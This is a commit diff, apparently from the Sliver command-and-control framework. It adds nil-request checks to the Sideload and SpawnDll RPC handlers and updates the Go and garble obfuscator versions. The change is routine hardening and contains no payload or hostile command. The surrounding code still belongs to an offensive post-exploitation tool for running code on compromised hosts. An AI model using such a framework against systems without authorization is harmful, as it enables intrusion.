if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -267,6 +276,11 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
err error
|
||||
arch string
|
||||
)
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -315,6 +329,11 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
package assets
|
||||
|
||||
const (
|
||||
goVersion = "1.25.6"
|
||||
goVersion = "1.25.7"
|
||||
garbleVersion = "1.25.7"
|
||||
zigVersion = "0.15.2"
|
||||
garbleVersion = "1.25.6"
|
||||
zigSourceParam = "source=sliver"
|
||||
|
||||
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
|
||||
|
||||
Reference in new issue
Block a user